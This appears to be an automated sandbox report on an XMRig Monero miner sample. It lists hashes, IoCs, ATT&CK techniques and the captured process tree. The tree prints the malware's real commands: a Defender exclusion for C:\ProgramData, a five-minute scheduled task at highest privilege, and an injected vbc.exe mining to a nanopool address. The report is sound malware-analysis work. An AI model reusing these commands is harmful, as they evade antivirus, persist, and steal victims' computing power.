xmrig | c71408e6c03dec7454cbf5eec3d53fc90801715574010b0ae558c410b2439262

General

Target

file.exe
Size

903KB
MD5

a4c305ee93f19aa28eddc2a855ddb308
SHA1

a7669c7f5863811e9aedc7ea209b62060b4c458e
SHA256

c71408e6c03dec7454cbf5eec3d53fc90801715574010b0ae558c410b2439262
SHA512

997a3d23998981a4de34294b50ddecee34a02fe92c36f7108d09731bd38a5ff35f0689b81144cef1332236c1c025f23c20dbf2daa4e7311b73e77877277658a9
SSDEEP

24576:di8r/TxyizufKBcap10eSjgYmbUcc/VCGZ6:llyi4cbk+I/V7

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/2168-159-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2168-160-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/2168-161-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2168-162-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2168-164-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2168-166-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	file.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 808 set thread context of 2168	808	file.exe	91

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1324	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4904	powershell.exe
4904	powershell.exe
808	file.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
664	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	808	file.exe
Token: SeDebugPrivilege	4904	powershell.exe
Token: SeLockMemoryPrivilege	2168	vbc.exe
Token: SeLockMemoryPrivilege	2168	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2168	vbc.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 808 wrote to memory of 4904	808	file.exe	80
PID 808 wrote to memory of 4904	808	file.exe	80
PID 808 wrote to memory of 1236	808	file.exe	88
PID 808 wrote to memory of 1236	808	file.exe	88
PID 1236 wrote to memory of 1324	1236	cmd.exe	90
PID 1236 wrote to memory of 1324	1236	cmd.exe	90
PID 808 wrote to memory of 2168	808	file.exe	91
PID 808 wrote to memory of 2168	808	file.exe	91
PID 808 wrote to memory of 2168	808	file.exe	91
PID 808 wrote to memory of 2168	808	file.exe	91
PID 808 wrote to memory of 2168	808	file.exe	91
PID 808 wrote to memory of 2168	808	file.exe	91
PID 808 wrote to memory of 2168	808	file.exe	91
PID 808 wrote to memory of 2168	808	file.exe	91
PID 808 wrote to memory of 2168	808	file.exe	91
PID 808 wrote to memory of 2168	808	file.exe	91
PID 808 wrote to memory of 2168	808	file.exe	91
PID 808 wrote to memory of 2168	808	file.exe	91
PID 808 wrote to memory of 2168	808	file.exe	91
PID 808 wrote to memory of 2168	808	file.exe	91

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1236
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
    3⤵
    - Creates scheduled task(s)
    PID:1324
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:2168

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Scripting

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Scripting

1

T1064

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/808-151-0x0000000002EF0000-0x0000000002F33000-memory.dmp

Filesize
268KB

Download
memory/808-152-0x00007FFA67CB0000-0x00007FFA68771000-memory.dmp

Filesize
10.8MB

Download
memory/808-137-0x0000000000690000-0x00000000007D8000-memory.dmp

Filesize
1.3MB

Download
memory/808-138-0x0000000002EF0000-0x0000000002F33000-memory.dmp

Filesize
268KB

Download
memory/808-136-0x00007FFA68E00000-0x00007FFA68EBD000-memory.dmp

Filesize
756KB

Download
memory/808-134-0x00007FFA85FE0000-0x00007FFA8607E000-memory.dmp

Filesize
632KB

Download
memory/808-139-0x00007FFA84600000-0x00007FFA847A1000-memory.dmp

Filesize
1.6MB

Download
memory/808-140-0x00007FFA67CB0000-0x00007FFA68771000-memory.dmp

Filesize
10.8MB

Download
memory/808-141-0x00007FFA86130000-0x00007FFA8615B000-memory.dmp

Filesize
172KB

Download
memory/808-158-0x00007FFA82DE0000-0x00007FFA82E1B000-memory.dmp

Filesize
236KB

Download
memory/808-143-0x00007FFA68CB0000-0x00007FFA68DFE000-memory.dmp

Filesize
1.3MB

Download
memory/808-144-0x00007FFA67CB0000-0x00007FFA68771000-memory.dmp

Filesize
10.8MB

Download
memory/808-145-0x00007FFA84310000-0x00007FFA84337000-memory.dmp

Filesize
156KB

Download
memory/808-157-0x00007FFA84E20000-0x00007FFA84E8B000-memory.dmp

Filesize
428KB

Download
memory/808-156-0x00007FFA623A0000-0x00007FFA624A2000-memory.dmp

Filesize
1.0MB

Download
memory/808-155-0x00007FFA62360000-0x00007FFA62395000-memory.dmp

Filesize
212KB

Download
memory/808-142-0x0000000000690000-0x00000000007D8000-memory.dmp

Filesize
1.3MB

Download
memory/808-150-0x0000000000690000-0x00000000007D8000-memory.dmp

Filesize
1.3MB

Download
memory/808-135-0x00007FFA81930000-0x00007FFA81942000-memory.dmp

Filesize
72KB

Download
memory/808-133-0x00007FFA68EC0000-0x00007FFA68F6A000-memory.dmp

Filesize
680KB

Download
memory/2168-165-0x000002BCB99F0000-0x000002BCB9A10000-memory.dmp

Filesize
128KB

Download
memory/2168-170-0x000002BCB9A30000-0x000002BCB9A50000-memory.dmp

Filesize
128KB

Download
memory/2168-161-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2168-159-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2168-169-0x000002BCB9A10000-0x000002BCB9A30000-memory.dmp

Filesize
128KB

Download
memory/2168-162-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2168-168-0x000002BCB9A30000-0x000002BCB9A50000-memory.dmp

Filesize
128KB

Download
memory/2168-163-0x000002BCB99A0000-0x000002BCB99C0000-memory.dmp

Filesize
128KB

Download
memory/2168-164-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2168-167-0x000002BCB9A10000-0x000002BCB9A30000-memory.dmp

Filesize
128KB

Download
memory/2168-166-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4904-147-0x00007FFA67CB0000-0x00007FFA68771000-memory.dmp

Filesize
10.8MB

Download
memory/4904-148-0x00000234DD910000-0x00000234DD932000-memory.dmp

Filesize
136KB

Download
memory/4904-149-0x00007FFA67CB0000-0x00007FFA68771000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads